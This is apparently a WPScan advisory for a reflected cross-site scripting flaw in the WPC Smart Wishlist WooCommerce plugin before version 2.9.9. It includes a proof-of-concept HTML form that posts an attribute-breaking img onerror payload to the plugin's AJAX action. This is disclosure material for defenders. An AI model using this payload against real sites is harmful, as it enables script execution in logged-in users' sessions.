WordPress Plugin Vulnerabilities
WPC Smart Wishlist for WooCommerce < 2.9.9 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in an attribute via an AJAX action, leading to a Reflected Cross-Site Scripting issue.
Proof of Concept
Against any authenticated user:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wishlist_quickview" />
<input type="hidden" name="key" value='1"><img src onerror=alert(/XSS/)>' />
<input type="hidden" name="_wp_http_referer" value="https://example.com/wp-admin/admin-ajax.php" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
Fixed in 2.9.9 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Utkarsh Agrawal
Submitter
Utkarsh Agrawal
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-25 (about 2 years ago)
Added
2022-04-25 (about 2 years ago)
Last Updated
2022-05-16 (about 1 years ago)
WPScan 